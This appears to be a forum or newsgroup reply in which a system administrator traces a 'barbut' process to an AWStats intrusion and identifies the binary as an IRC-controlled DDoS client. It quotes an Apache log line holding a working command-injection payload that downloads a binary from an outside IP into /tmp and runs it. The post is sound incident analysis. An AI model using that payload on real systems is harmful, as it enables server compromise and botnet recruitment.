krzysiek schrieb:
> > there was a process called "barbut" (2 of them) using 49,2% CPU time > > each :O
> > meanwhile netstat showed established connections to 195.73.177.146:666
> > + several waiting.
> Some host in .nl.
> > I have no idea where did this process come from. Any clues?
> I don't know about you, but I would take the machine off the net and
> try to understand what happened.
I hope the original poster did that - here's the "barbut" occurrence in our apache log:
GET /awstats.pl?configdir=|echo;cd%20/tmp;wget%20217.79.176.126/barbut;chmod%20755%20barbut;./barbut; echo| HTTP/1.1
(there are four attempts, trying different paths to awstats.pl)
I did the wget, and it's a 30KB ELF executable. 'nm' shows such things as 'flooders', 'getspoofs', 'changeservers' ... I don't think I'll run it ;-)
Googling for some of those names finds this is probably the source code:
formatting link
The comments start:
"This is a IRC based distributed denial of service client. It connects to the server specified below and accepts commands via the channel specified."
Hope this was useful, A.